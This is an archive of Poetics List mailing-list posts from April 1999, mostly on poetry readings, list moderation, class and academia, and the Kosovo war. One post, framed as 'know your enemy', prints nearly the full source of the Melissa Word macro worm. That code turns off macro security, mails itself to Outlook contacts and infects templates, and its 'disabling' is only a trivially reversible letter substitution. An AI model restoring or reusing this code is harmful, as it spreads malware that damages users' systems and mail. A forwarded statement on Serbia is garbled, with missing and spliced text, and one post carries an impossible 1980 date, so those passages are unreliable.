Kamau Brathwaite's ConVERSations with Nathaniel Mackey is based on the transcript of his 1993 public discussion with Nathaniel Mackey at Poet's House in New York City. Brathwaite expansively elaborates on Mackey's (and audience's) knowledgeable inquiries; his answers are layered with subsequent ruminations arising from his lifelong engagement with world literature and expressive cultures. A multiphasic drift, ConVERSations with Nathaniel Mackey combines elements of biography and autobiography with poetic discourse on Caribbean literary history and negative effects of colonial domination. In this book, Brathwaite, a recent recipient of the prestigious Casas de las Americas prize, splices dialog with poetry, criticism, and instructive imaginary voices in his now distinct and characteristic "Sycorax 'video style'" format. It is a valuable resource for either writer's work and for scholarship on African dispora art and literature.

* * * *

the bamboo is no longer there and I have the image of this mountain of mud
How do you write poetry about a mountain of mud?
That is what I'm really askin you,
you see. Poetry is traditionally written about beautiful bamboo that becomes a flute
How do you write a poem about a mountain of mud which was the bamboo? And it's not simply that it's a mountain of mud but is the _replacement_ of that bamboo with that mountain. _That_'s the prob
Do you become deaf? Dumb? Blind? antiballad, antebelum? And do you remain that way? And if you remain that way, what are the consequences for metaphor/of metaphor? What kind of metaphors come out of [high pitch] hnmmmm - what kind of vibration? What kind of new words are formable? Become formidable? What kind(s) of form become possible. . .

8 1/2 x 11, 320 pages
ISBN: 0-9668976-0-9

Ordering directly from publishers, cost is $14 (plus $2 shipping charges; non-U.S. orders $3). Send payment w/name & mailing address to We Press 62 Westervelt Avenue Staten Island, NY 10301 (Checks payable to Chris Funkhouser). Also distributed by Small Press Distribution and amazon.com

CONTACT:

Chris Funkhouser Maria Damon Mark Nowak We Press
English Department Xcp:Cross-Cultural Poetics 62 Westervelt Ave.
Univ. of Minnesota 601 25th Ave. South Staten Island, NY 10301 Minneapolis, MN 55455 Minneapolis, MN 55454 [redacted]

http://www.con2.com/~wepress http://bfn.org/~xcp

↑ Index

40. Poetics List

Radio B92 closed! / Dubravka

Fri 2 Apr 1999

This news just arrived at the administrative account. Çhris

---------- Forwarded message ----------
Date: Fri, 02 Apr 1999 15:06:01 +0200
Subject: Radio B92 closed!

RADIO B92 CLOSED!

On friday April 2, at 09.00, inspectors followed by policemen delivered to mr. Sasa Mirkovic, director of Radio B92 the decision which denounce mr. Mirkovic's capacity to represent Radio B92. In other words, mr. Mirkovic has been ousted and is no longer Director of Radio B92. The new court decision appointed the new Director of Radio B92, mr. Aleksandar Nikacevic. The premises of the Radio B92 have been sealed off.
Soon after the new Director, with the presence of inspectors, issued the order to all the employees to meet at their working place no later than Monday, April 5. STRUGGLE CONTINUES. WE SHALL NEVER SURRENDER. RADIO B92, BELGRADE, SERBIA

--
*ICQ 16854837

"And the wild regrets, and the bloody sweats,
None knew so well as I:
For he who shall live more lives than one
More deaths than one must die."

*Oscar Wilde, THE BALLAD OF READING GOAL

↑ Index

41. Poetics List
Re: 3 faces / list moderation
Fri 2 Apr 1999

Jessica's post gives me a good chance to address an issue that's plagued me since having taken on the position of list moderator in January; and while this is not the most opportune time for me personally to respond (I have to get to work), I wanted neither to hold her post or to let it go without some kind of reply. What's been troubling to me is this quandry: how to acknowledge publically the ideological limits of this space, or rather to assert my own position as arbiter of the list (a word I use pointedly) in attempting to facilitate the specific exchange and debate for which this space was intended from its inception; and in particular how to do so without approaching the destructive anti-dialogue that consumed the list towards the end of last year - for I can't help but think that what I'm preparing here are the means by which I will be accused not only of censoring "discussion" on the list, but of censoring discussion of list censorship and so forth ad nauseum. Which in fact is, ultimately, the very point of my address.

I'm not even sure this is the best time to broach this topic - there is, however distantly for most Americans, a war on.

What follows is an adapted version of a post sent previously to a subscriber, in response to his/her objection to my decision not to forward a one-sentence post. This is not quite the manner in which I had wanted to address this matter (I have other, prepared material elsewhere), but it is what I have on-hand at the moment.

Chris

P.S., not wanting to sound singlularly cheerless, I should also say that my remarks here pertain to "discussion"-oriented posts of a relatively "straightforward" manner, and not to poems or other kinds of other writing. (And, being someone who attempts to push my own poetry in the direction of criticism, rather than maintaining such a discretion, I realize that there are problems with all of these terms, esp. and above all the distinction between poems and other posts.)

[redacted]

The ideological limits of this list - which is explicitly and acknowledgedly an ideological space - are laid out in the Welcome Message that is sent to all subscribers.

Among other requested and sometimes enforced (again, using the word acknowledgedly) guidelines to the list, you will find that I've said this is a list primarily designed to address poetry and poetics, occasionally to address political issues. You may notice, though it is not there stated because not rigorously adhered-to, that the explicitly political material I forward generally relates to an "immediate" situation, e.g., the current war or NATO/US involvement in such.

You will also find that I ask of subscribers to post relatively considered and even extensive statements, opinions, etcetera, and not single lines or single sentences - a position I am willing to stand by so long as I have the energy, which is not always. Unfortunately the limits of this list are also to some extent the limits of my time and energy, since without further support from SUNY Buffalo (and beyond that institution, Gov. Pataki and the state legislature etc.) I do this job more or less on my own.

Now in those instances where a subscriber has taken the time to articulate a position, and I mean in a considered manner, and especially though not necessarily in relation to a poetics, I have consistently forwarded those posts to the list. This could be said of even a paragraph or a few lines. On the other hand, I simply do not consider a single line, and one whose challenge lies more in its tone than its position, to be such an articulation; and so in this and other instances I have generally not forwarded said post to the list.

If you want to challenge this list on the basis of aesthetic, political or ethical practice, that's fine with me - even though I don't see the particular relevance of this statement to this (poetics) list. But I simply must ask that you do so in a way that will provoke consideration or sustained argumentation, and not in an off-hand comment which will provoke more of the like or be simply ignored. I might add that this would be to the benefit of your position, as it may be to the benefit of the list.

This list is not a list of my opinions. I happen to disagree or even in some cases have no developed sense of the issues that are "discussed" here (though note that my own position would be to discard the "conversational" tropes that surround the list). But I do consider it my job to maintain this list in a form that, to whatever extent possible, furthers concrete and serious consideration of the issues at hand - even due seriousness of fooling around, when that happens.

If this is censorship, as indeed it may be characterized, then I will own that charge in saying (again) this absolutely is an ideological space, as regards form and content. And so are all other spaces, however unacknowledgedly.

sincerely, Chris

↑ Index

42. A. Jenn Sondheim
Re: 3 faces / list moderation
Fri 2 Apr 1999

No space is free.
It takes not only moderators but sysadmins to make it go.
People's labor is volunteered or paid for.
The machines are often built with underpaid labor.
The routers are maintained with paid labor.
A great deal of the Net still runs on free-offered services.
To be on a list is a privilege, not a right.
Someone starts the list with some sort of intentions.
Someone signs up on a list because it seems of interest.
It is easier than ever to start new lists.
Lists can now be tailored to the slightest innuendo.
All lists have subtextual censoring issues.
There will be questions about child pornography, for example.
All lists are circumscribed.
There will be questions about libel and slander.
It takes only one person with minimal effort to permanently derail a list.
The greater the governance, the greater the labor involved.
There is no solution to communication.

Given that there is a war on, what should be our response?
Should all of our texts be geared to that response?
Should all of our texts be geared to class issues?
To reification or recognition of class, war, race, gender, religion?
Has there ever been in this sense a space for writing?

Alan

↑ Index

43. A. Jenn Sondheim
Anatomy of the Melissa Virus (Disabled) (fwd)
Fri 2 Apr 1999

In case you want to see the anatomy of the Melissa Virus - this is completely disabled with some basic letter substitutions (among other things).

Know your enemy.

Alan

Xrivate Yub Document_Open() On Error Resume Next Zf Yystem.XrivateXrofileYtring("", "HKEY_CURRENT_UYER\Yoftware\Microsoft\Office\9.0\Word\Yecurity",

```
"Level")
<> "" Then
  CommandBars("Macro").Controls("Yecurity...").Enabled = False Yystem.XrivateXrofileYtring("",
"HKEY_CURRENT_UYER\Yoftware\Microsoft\Office\9.0\Word\Yecurity",
"Level")
= 1& Else
  CommandBars("Tools").Controls("Macro").Enabled = False Options.ConfirmConversions = (1 - 1): Options.VirusXrotection = (1 - 1):
Options.YaveNormalXrompt = (1 - 1) End Zf

Dim UngaDasOutlook, DasMapiName, BreakUmOffAYlice Yet UngaDasOutlook CreateObject("Outlook.Application") Yet DasMapiName UngaDasOutlook.Get-NameYpace("MAXZ") Zf Yystem.XrivateXrofileYtring("", "HKEY_CURRENT_UYER\Yoftware\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then
  Zf UngaDasOutlook = "Outlook" Then
    DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
        Yet AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Yet BreakUmOffAYlice = UngaDasOutlook.CreateZtem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
            Xeep = AddyBook.AddressEntries(x)
            BreakUmOffAYlice.Recipients.Add Xeep
            x = x + 1
            Zf x > 50 Then oo = AddyBook.AddressEntries.Count
         Next oo
         BreakUmOffAYlice.Yubject = "Zmportant Message From " & Application.UserName BreakUmOffAYlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
         BreakUmOffAYlice.Attachments.Add ActiveDocument.FullName
         BreakUmOffAYlice.Yend
         Xeep = ""
    Next y
    DasMapiName.Logoff
  End Zf
  Yystem.XrivateXrofileYtring("",
"HKEY_CURRENT_UYER\Yoftware\Microsoft\Office\", "Melissa?") = "... by Kwyjibo" End Zf
```

```
Yet ADZ1 = ActiveDocument.VBXroject.VBComponents.Ztem(1)
Yet NTZ1 = NormalTemplate.VBXroject.VBComponents.Ztem(1)
NTCL = NTZ1.CodeModule.CountOfLines
ADCL = ADZ1.CodeModule.CountOfLines
BGN = 2
Zf ADZ1.Name <> "Melissa" Then
  Zf ADCL > 0 Then ADZ1.CodeModule.DeleteLines 1, ADCL
  Yet ToZnfect = ADZ1
  ADZ1.Name = "Melissa" DoAD = True
End Zf

Zf NTZ1.Name <> "Melissa" Then
  Zf NTCL > 0 Then NTZ1.CodeModule.DeleteLines 1, NTCL
  Yet ToZnfect = NTZ1
  NTZ1.Name = "Melissa" DoNT = True
End Zf

Zf DoNT <> True And DoAD <> True Then GoTo CYA

Zf DoNT = True Then
  Do While ADZ1.CodeModule.Lines(1, 1) = "" ADZ1.CodeModule.DeleteLines 1
  Loop
  ToZnfect.CodeModule.AddFromYtring ("Xrivate Yub Document_Close()")
  Do While ADZ1.CodeModule.Lines(BGN, 1) <> "" ToZnfect.CodeModule.ZnsertLines BGN, ADZ1.CodeModule.Lines(BGN, 1)
    BGN = BGN + 1
  Loop
End Zf

Zf DoAD = True Then
  Do While NTZ1.CodeModule.Lines(1, 1) = "" NTZ1.CodeModule.DeleteLines 1
  Loop
  ToZnfect.CodeModule.AddFromYtring ("Xrivate Yub Document_Open()")
  Do While NTZ1.CodeModule.Lines(BGN, 1) <> "" ToZnfect.CodeModule.ZnsertLines BGN, NTZ1.CodeModule.Lines(BGN, 1)
    BGN = BGN + 1
  Loop
End Zf

CYA:
```

Zf NTCL <> 0 And ADCL = 0 And (ZnYtr(1, ActiveDocument.Name, "Document") False) Then ActiveDocument.YaveAs FileName:¬tiveDocument.FullName ElseZf (ZnYtr(1, ActiveDocument.Name, "Document") <> False) Then ActiveDocument.Yaved = True
End Zf

'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

Zf Day(Now) = Minute(Now) Then Yelection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. Z'm outta here." End Yub

↑ Index

44. Christopher W. Alexander
NYC talks series / Alan Gilbert
Fri 2 Apr 1999

Alan Gilbert asked that I forward this to the list.
looks exciting. Chris

From: "Alan Gilbert" <[redacted]>
Date: 3/30/99 11:49 AM -0400

POETRY ON TIME
a New York City based talk series

presents

MARK McMORRIS
discussing poetry and Empire
Friday, April 2, 1999, 8 p.m.
Segue space
303 East 8th Street at Avenue B

Mark McMorris will speak on transmissions from the Euro-American library into the Caribbean environment. Partially focusing on the poetry of Kamau Brathwaite and Derek Walcott, he will address some of the roles and tasks of poetry within the context of post-colonial cultural influences.

Born in Jamaica, Mark McMorris is the author of the following books of poetry: _Palinurus Suite_ (paradigm press, 1992), _Figures for a Hypothesis_ (Leave Books, 1995), _Moth-Wings_ (Burning Deck, 1996), and _The Black Reeds_ (Univ. of Georgia Press, 1997). Works of fiction and criticism have appeared in various publications. He currently teaches in the English Department at Georgetown University.

The presentation will consist of a brief poetry reading and a 30 minute talk followed by questions and answers.

$4 donation

==========

Upcoming talks include:

Lisa Jarnot
discussing poetry and biography
Friday, May 7, 1999, 8 p.m.
Segue space
303 East 8th Street at Avenue B

Fall 1999
(Dates and locations to be announced)
Roberto Tejada on poetry and documentary
Kristin Prevallet on poetry and investigation
Yunte Huang on poetry and translation
Louis Cabri on poetry and finance capitalism

Spring 2000
(Presenters and dates and locations to be announced)

Coordinator: Alan Gilbert

For further information, contact Alan Gilbert at [redacted]

↑ Index

45. Jamie Ferguson
The Chrisis of the Poetics List
Fri 2 Apr 1999

I think Chris is right to post a letter about his role as moderator of the List, even if I think he should be less worried about how members will react to the power that comes with that role.

In response to his post, I want to suggest a couple of topics that might be addressed by those who have taken a serious interest in this forum.

- What sort of post does the medium tend to encourage? Are there common pitfalls that might be specified and so more easily avoided?

- Ought we to be more conscious of the modes of writing/thought presented on the List, and would it make sense to address these matters in terms of specific posts? (This would mean sometimes commenting not on the content of a post so much as the kind of thinking it represents.)

- What sorts of post tend to be valuable for us as readers? What sorts less so?

I personally would answer these questions by saying that there does seem to be something in the medium that encourages unconsidered contributions. I would argue against the writing of unsupported statements: "I find this book unconvincing." When I came onto the List, I had the idea that I might begin an exchange on something that interests me particularly at the moment: literary translation. I would expect me posts to be deleted by those who take no interest in the matter (or who think I'm a dolt), but what I would expect from those who do take an interest and don't think I'm a dolt is TIME. I stopped writing because, with a few exceptions, I felt that I was putting in a lot more than I was getting back. Whether a response was enthusiastic or critical, I often had the impression that while I had spent a half an hour or more on composing something that seemed to me worth reading, the responses were dashed off in a couple of minutes. This may, I know, be entirely due to my not having, if fact, succeeded in composing something interesting, even for those engaged with the topic. But I suspect that I did manage to interest a few people - and did in fact elicit one very interesting response from Pierre Joris. Nobody would read a journal whose contributors were known to spend no more than five or ten minutes on their pieces; while the potential immediacy of EXCHANGE in this kind of format is clearly a bonus. My estimation would be that those of us writing to the List should move closer to the concentration implied by the former format, and try to work against the seemingly perpetual thrill of the immediate in and of itself.

One further point, as to content: if there were more posts on the negative effects of football on the American psyche, I would unsubscribe. This is not to say anything about the intellectual quality of the discussion that took place around this topic, but only to say that I, for one, am looking for something else here.
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

46. Elizabeth Treadwell
Outlet reviews requested.
Fri 2 Apr 1999

Hello all,

I am looking for reviewers for the next issue of Outlet, for the following books--

Liz Waldner. Homing Devices
Susan Gevirtz. Black Box Cutaway
Jessica Grim. Fray

pls b/c if interested.

thanks.
Elizabeth

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

↑ Index

47. Jordan Davis
POETRY CITY . GOETZ? LUBASCH?
Fri 2 Apr 1999

Anna Malmude and Jordan Davis cordially invite you to a reading
at POETRY CITY
in the offices of Teachers & Writers
5 Union Square West, New York City

G R E T A G O E T Z

author of "Construction Papers" as seen in T H E H A T

and LaIaSaA LaUaBaAaSaCaH whose work is in the Avec Sampler, Explosive, and forthcoming in DER HUT!

THURSDAY APRIL 8

7 PM FREE

and what

↑ Index

48. Mairead Byrne
Re: The Joy of Poetry
Fri 2 Apr 1999

Dear Maria, Like you, my interest is in poetry and cultural studies. I agree with most of what you say in your recent post. Except maybe our spirits are different. You seem charging and charged, determined and probably effective too. I have begun to feel that academic life in America is structured to inhibit political action or involvement, even at a local level. It is my experience here (5 years and two towns) that colleges and universities are cut off from their local matrix, intellectually though not economically. When I look back, I remember students with a lot of political attitude, but no actual political involvement with their immediate environment: the town or city in which they were living. For myself, I was and am connected to "my" town through my children, who go to school here, or daycare. Yet I am not active in the PTA or on the board of the Drop-In Center, nor am I active anywhere else, except as a reader in the various libraries. I am a graduate student and college lecturer: this combination (which is the most common for all graduate students in the cultural studies field, though some may be called T.A.s rather than lecturers) is fairly gruelling and inexorable over a considerable number of years. Throw in another engagement with poetry: writing it, and you screw things up a bit. Throw in a family, and the pitch is a notch higher still. But even the grad school/T.A. tandem seems destructive. My experience of grad school was one of an extremely structured, controlled, pointless, and time-wasting classes which I was obliged to both take and teach. Even now, when I have greater freedom, the continual scraping necessary to get by on the time and money available seriously inhibits political involvement -- or any sort of serious activity, including writing and thinking. My question is (after all that): am I completely paranoid in thinking that the academic system here is actually set up to prevent people thinking, to inhibit engagement with anything outside the academy, and to keep students/graduate students in a state of "near-death" until they actually are near death and pensionable? This paragraph is a bit rough but I hope you will get the general idea. All the best, Mairead

↑ Index

49. Catherine Daly
class & gender & generation
Fri 2 Apr 1999

Margaret Randall wrote a book about women, class, and money not too long ago, and her observation most interesting to me was women are more socially mobile than men. (If we marry, we must or choose to adopt the class of the man. We outlive our husbands. Divorce usually only changes the class of the woman. Alone, we're outside the rankings.) Paul Fussell has a quiz in his book about class which ends up being about decorating. Shortcut the quiz: if you read in a foreign language, and have books everywhere, you're upper class.

I was just in Chicago for my (working class) grandmother's funeral: my immediate family is called "hoity toity" by the remainder of the family. That we went to college is only the easy answer. We're members of different classes. My parents are middle class. My sister and I are upper middle class. My fiance is outside the rankings but raised in Section 8 housing. I have cousins who are have doctorates, but they are 1) male, 2) not upper middle class. Class is a wonderment, a construct: less about income or capital and more about what I am going to call "the conversation of the house".

Social mobility is made easier by generational rebellion, which is hampered by felt or actual financial or social responsibilities for people in the house. This influences the accessibility of writing, the relationship to audience, everything to do with the personal history a writer has with her writing.

I would suggest that some of the feelings my working class friends and I have about money and scholarship and writing are derived from family and social responsibilities, not class. Unfortunately, these responsibilities are gender-based, and the less desirable your American class "totem pole", the more gender-based these are.

The perception of class (I believe "smell" is being used here) then comes from a personal history with this conversation. Education, culture, and attitudes toward gender are all useful pointers. Women in this country are still not allowed as much education as men, yet are expected to perform a great deal of cultural work free of charge, by which I mean, cultural work which does not accrue for the woman.

Regards,
Catherine Daly
[redacted]

P.S. Many female experimentalists are military brats, interesting since soldiers, sailors, pilots, et.al., are socially and physically mobile. I would argue that academics are also socially and physically mobile (until tenured).

P.P.S. Some sort of pun about mobile homes.

↑ Index

50. Poetics List
more from Dubravka
Fri 2 Apr 1999

--forwarded message--
Date: Fri, 2 Apr 1999 17:35:45 +0200 (CEST)
From: Dubravka <[redacted]>

The massive air strikes against Yugoslavia do not only destroy army installations. They also take human lives and ruin the economic infrastructure of our impoverished country. In the long run, howeveateral damage will be the shattered possibilities for de cracy in Serbia. We fear that the only durable result of the undeclared war will be a permanent state of emergency, legal and spiritual, this time with the support of the bewildered majority, which has always sided with the government in terms of extreme adversity and danger. Democratic and economic transition in Serbia is the only real cure for the Kosovo problem and hope for achieving stability in the Balkans. Our long-standing criticism of the policies of the Serbian regime and especially its human rights record is well known.s decision "to use violence for humanitarian reasons" as sign of incompetence and impotence of the US and EU policies in regard to Kosovo, r ather than an unavoidable move after all other efforts had failed. Air strikes signify the defeat of the international community' s long-standing policy towards Serbia, which has been exclusively based on negotiating with Mr. Milosevic and pressuring him to deliver peace. There will be no real peace and stability in the region and there will certainly be no peace in Yugoslavia unless Serbia embarks on the road to democracy and market economy. However, it appears that riously considered this option. There has been no real effort to promote and assist the position of those in Serbia that have been end In the atmosphere of war and national calamity these enemies of dem sional maladroit attempts to "assist" democracy and human rights in Serbia by vague promises of money to individuals and groups action in the US Senate of a "Serbian Democratization Act" in t The air strikes erased in one night the results of ten years of ours people in the non-governmental organizations and in the democra rd to maintain now. The Kosovo problem will remain unsolve resolve this situation through negotiations and without further violeemce. For the Centre, Professor Vojin Dimitrijevic, Former Vice-Chairman of the UN Human Rights Committee

↑ Index

51. Kris Dykstra
Translation
Fri 2 Apr 1999

You mention an interest in translation--I'm new to the list & am working on a first but large translation project (Spanish to English)--I'd be interested in hearing general +/- specific ideas about this topic, unless it was done to death last month. Example: I read an article that characterized Dickinson's poetry as a "compensation" for failed letter-writing, i.e. a compensation for the lost ideal of exact correspondence. Given that translation also seems to presuppose a loss of some sort of exact correspondence, is translation itself a compensatory mode? When is it useful to talk about intralingual translation as well as interlingual translation? & so forth. & if anyone can confirm that "murcielago" is commonly used in Cuba to refer to someone who stays out all night partying,

I'd be interested in that too--

Kris

--On Friday, April 02, 1999, 6:25 PM +0000 "Jamie Ferguson" <[redacted]> wrote:

> I think Chris is right to post a letter about his role as moderator of the List, even if I think he should be less worried about how members will react to the power that comes with that role.
>
> In response to his post, I want to suggest a couple of topics that might be addressed by those who have taken a serious interest in this forum.
>
> - What sort of post does the medium tend to encourage? Are there common pitfalls that might be specified and so more easily avoided?
>
> - Ought we to be more conscious of the modes of writing/thought presented on the List, and would it make sense to address these matters in terms of specific posts? (This would mean sometimes commenting not on the content of a post so much as the kind of thinking it represents.)
>
> - What sorts of post tend to be valuable for us as readers? What sorts less so?
>
> I personally would answer these questions by saying that there does seem to be something in the medium that encourages unconsidered contributions. I would argue against the writing of unsupported statements: "I find this book unconvincing." When I came onto the List, I had the idea that I might begin an exchange on something that interests me particularly at the moment: literary translation. I would expect me posts to be deleted by those who take no interest in the matter (or who think I'm a dolt), but what I would expect from those who do take an interest and don't think I'm a dolt is TIME. I stopped writing because, with a few exceptions, I felt that I was putting in a lot more than I was getting back. Whether a response was enthusiastic or critical, I often had the impression that while I had spent a half an hour or more on composing something that seemed to me worth reading, the responses were dashed off in a couple of minutes. This may, I know, be entirely due to my not having, if fact, succeeded in composing something interesting, even for those engaged with the topic. But I suspect that I did manage to interest a few people - and did in fact elicit one very interesting response from Pierre Joris.
> Nobody would read a journal whose contributors were known to spend no > more than five or ten minutes on their pieces; while the potential immediacy of EXCHANGE in this kind of format is clearly a bonus. My estimation would be that those of us writing to the List should move closer to the concentration implied by the former format, and try to work against the seemingly perpetual thrill of the immediate in and of itself.

>
> One further point, as to content: if there were more posts on the negative effects of football on the American psyche, I would unsubscribe. This is not to say anything about the intellectual quality of the discussion that took place around this topic, but only to say that I, for one, am looking for something else here.
> Get Your Private, Free Email at http://www.hotmail.com

↑ Index

52. nuyopoman

Peoples Poetry Gathering Youth Speaks Teen Slamarama

Fri 2 Apr 1999

JUDGES NEEDED for the 1st Youth Speaks Teen Poetry Slam at the Peoples Poetry Gathering on april 9th, from 1-3 pm @ Cooper Union. Young slam poets WANTED! If you can spare 2 1/2 hours to listen to 25 teen poets pour their hearts and energy into honest spoken word, I need you. One round. Individual poets compete against each other. 3 winners. All win t-shirt, tickets, our admiration.

Email Jen Weiss: [redacted]

↑ Index

53. Maria Damon

Re: The Joy of Poetry

Fri 2 Apr 1999

At 3:05 PM -0500 4/2/99, Mairead Byrne wrote:
>Dear Maria,
>Like you, my interest is in poetry and cultural studies. I agree with most >of what you say in your recent post. Except maybe our spirits are >different. You seem charging and charged, determined and probably >effective too. I have begun to feel that academic life in America is >structured to inhibit political action or involvement, even at a local >level. It is my experience here (5 years and two towns) that colleges and >universities are cut off from their local matrix, intellectually though >not economically. When I look back, I remember students with a >lot of political attitude, but no actual political involvement with their >immediate environment: the town or city in which they were living.

>For myself, I was and am connected to "my" town through my children, who >go to school here, or daycare. Yet I am not active in the PTA or on the >board of the Drop-In Center, nor am I active anywhere else, except as a >reader in the various libraries. I am a graduate student and college >lecturer: this combination (which is the most common for all graduate >students in the cultural studies field, though some may be called T.A.s >rather than lecturers) is fairly gruelling and inexorable over a >considerable number of years. Throw in another engagement with poetry: >writing it, and you screw things up a bit. Throw in a family, and the >pitch is a notch higher still. But even the grad school/T.A. tandem seems >destructive. My experience of grad school was one of an extremely >structured, controlled, pointless, and time-wasting classes which I was >obliged to both take and teach. Even now, when I have greater freedom, >the continual scraping necessary to get by on the time and money available >seriously inhibits political involvement -- or any sort of serious >activity, including writing and thinking. My question is (after all >that): am I completely paranoid in thinking that the academic system here >is actually set up to prevent people thinking, to inhibit engagement with >anything outside the academy, and to keep students/graduate students in a >state of "near-death" until they actually are near death and >pensionable? This paragraph is a bit rough but I hope you will get the >general idea.
>All the best,
>Mairead

unfortunatley i think you are right. grad students are depoliticitized in a number of ways; in the less prestigious and wealthy institutions, it's by being so nickeled and dimed to death both economically and with regard to time (at U of MN the grad students are run ragged by the necessity of always having to find jobs, and are told by a cynical administration that this --"lots of teaching experience" --will look good on their cvs!!!); at the more privileged institutions its because it is suggested that by reading raymond williams they are automatically doing right by the under- or working-class many of them have never had first-hand encounters with. there are exceptions though; some faculty i studied w/ at stanford were actively involved in stuff like voter registration in under-represented neighborhoods, and combined it with their intellectual work by writing about it. i did my most interesting work (teaching in a GED program) before i went to grad school, but was able to theorize and write about that work in grad school. since becoming a prof, i've had less and less incentive toward a certain kind of involvement outside the academy and have become more and more "literary" as well, though plenty of opportunities are available for volunteer or organizing work. right now i'm considering how to make some of my classes, like "Poetry as Cultural Critique," have an element of "community work" built in to the syllabus, though this is complex and involves lots of bureaucratic red tape. so mostly i'm "reduced" to activism through writing about subjects that don't usually get covered in academic journals.

↑ Index

54. anastasios kozaitis
Re: class and gender
Fri 2 Apr 1999

I am reading a book that I think would be important to all those who are interested in this thread: _Inequality Reexamined_ by Amartya Sen. "Sen argues that the dictum 'all people are created equal' serves largely to deflect attention from the fact that we differ in age, gender, talents, and physical abilities as well as in material advantages and social background. He argues for concentraing on hight and more basic values: individual capabilities and freedom to achieve objectives. By concentrating on equity and efficiency of social arrangements in promoting freedoms and capabilities of individuals, Sen adds an important dimension to arguments about such vital issues as gender inequalities, welfare policies, affirmative action, and publich provision of health care and education.' Sen, _Inequality Reexamined_, Harvard UP, 1992

> Just went to a talk the other day on Carolyn Chute and class. And then all the talk post-pagemothers on class. It is worrying me. The reason we as a society have trouble talking about class is that it is endlessly complicated. It is hard to quantify, much less smell or generalize about preferences of roughness or smoothness. Once we start to act like it is something that can be called out in the language of clear category (that academic means middle or whatever), we do class the disservice of assuming it is an easy marker. Even though our society, falsely, treats race or gender as something absolute, it has never treated class that way. Yet that class is the language that white people at times use to assert their marginalization makes me nervous about it all the time.
>
> Yet I also think it is crucial to talk about all the time (who knows it might lead to the class revolution). So I am grateful for the discussion.
>
> I guess my question is how do we talk about class while paying attention to how many people pass in both directions all the time? How do we talk about class and make room for the way some people move up and down it all the time? Is class growing up background? Or is it net income at current year? And what are the income levels? Or is it purely cultural? Is there a lower class culture of dirty shirts and beer drinking that > the Chute talk seemed to suggest? An upper class culture that owns artyness? How does rural and urban play into this? What about marriage and wives with no income? Does education disqualify one from being lower class? Does one's academic job disqualify one from being lower class anymore? What if you are an adjunct? Does one's Yale undergrad degree on scholarship disqualify? Or if one grows up upper class yet goes to the local community college, does that change?

>
> Like those students who can't understand My Life, I really can't imagine that their background income is that different from Hejinian's--her father was an academic administrator (a decent but not the best paying job), her mother a housewife. The New College, where she worked until recently, is known for its substandard salaries. She doesn't have an advanced degree. What is making her the symbol for middle (?) classness to these students? Is it because she doesn't in My Life put her self forward as a marginalized subject?
>
> I mean these questions not as critique but just as questions. I am glad this discussion has been happening.

↑ Index

55. derek beaulieu / house press
announcing: "TTbpN2: translating translating bpNichol"
Fri 2 Apr 1999

This is a multi-part message in MIME format.

charset="iso-8859-1"

housepress is excited to announce the release of:

"TTbpN2: translating translating bpNichol part 2"

- released in a signed and numbered edition of 40 copies, "TTbpN2" is a = metatext exploration of=20 & homage to the poetry & poetics of experimental poet bpNichol & = consists of work by:
Michael Basinski
Gregory Betts
Stephen Cain
cjfyffe Neil Hennessy
bpNichol
the "pataphysical software company
Carl Peters
russ rickey
Stephen Scobie

Jonathon C. Wilcke and derek beaulieu, editor

copies are $12ea.=20 for more information please contact:
derek beaulieu at [redacted]

charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"> <HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.2106.6"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>housepress is excited to announce the release=20
=
of:</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT> </DIV>
<DIV><FONT color=3D#000000 size=3D2>"TTbpN2: translating = translating bpNichol=20 part 2"</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT><FONT size=3D2>
<DIV> </DIV>
<DIV>- <FONT size=3D2>released in a signed and numbered edition of 40=20 copies, "TTbpN2" is </FONT>a metatext exploration of =
</DIV>
<DIV>& homage to the poetry & poetics of experimental poet =
bpNichol=20
& consists of work by:</FONT></DIV></DIV>
<DIV><FONT size=3D2>Michael Basinski</FONT></DIV> <DIV><FONT size=3D2></FONT><FONT color=3D#000000 size=3D2>Gregory =
Betts</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT><FONT size=3D2>Stephen = Cain</FONT></DIV>
<DIV><FONT size=3D2>cjfyffe</FONT></DIV>
<DIV><FONT size=3D2>Neil Hennessy</FONT></DIV>
<DIV><FONT size=3D2>bpNichol</FONT></DIV>

<DIV><FONT size=3D2>the "pataphysical software company</ FONT></DIV>
<DIV><FONT size=3D2>Carl Peters</FONT></DIV>
<DIV><FONT size=3D2>russ rickey</FONT></DIV>
<DIV><FONT size=3D2>Stephen Scobie</FONT></DIV>
<DIV><FONT size=3D2>Jonathon C. Wilcke</FONT></DIV>
<DIV><FONT size=3D2></FONT><FONT color=3D#000000 size=3D2>and
=
</FONT><FONT=20 size=3D2>derek beaulieu, editor</FONT></DIV>
<DIV> </DIV>
<DIV><FONT color=3D#000000 size=3D2>copies are $12ea. </FONT></
DIV>
<DIV><FONT color=3D#000000 size=3D2>for more information please=20 contact:</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>derek beaulieu at <A=20 href=3D"mailto:[redacted]">[redacted]</A></FONT><= /DIV></BODY></HTML>

↑ Index

56. Daniel Zimmerman

Re: April is the cruelest month for poetry ....

Fri 4 Jan 1980

Charles Bernstein wrote:
>
> David Antin sent me this reply to "Against National Poetry Month as Such". He > said it would be OK to pass it on to the list. --Charles Bernstein
> ***
>
> from DAVID ANTIN:
>
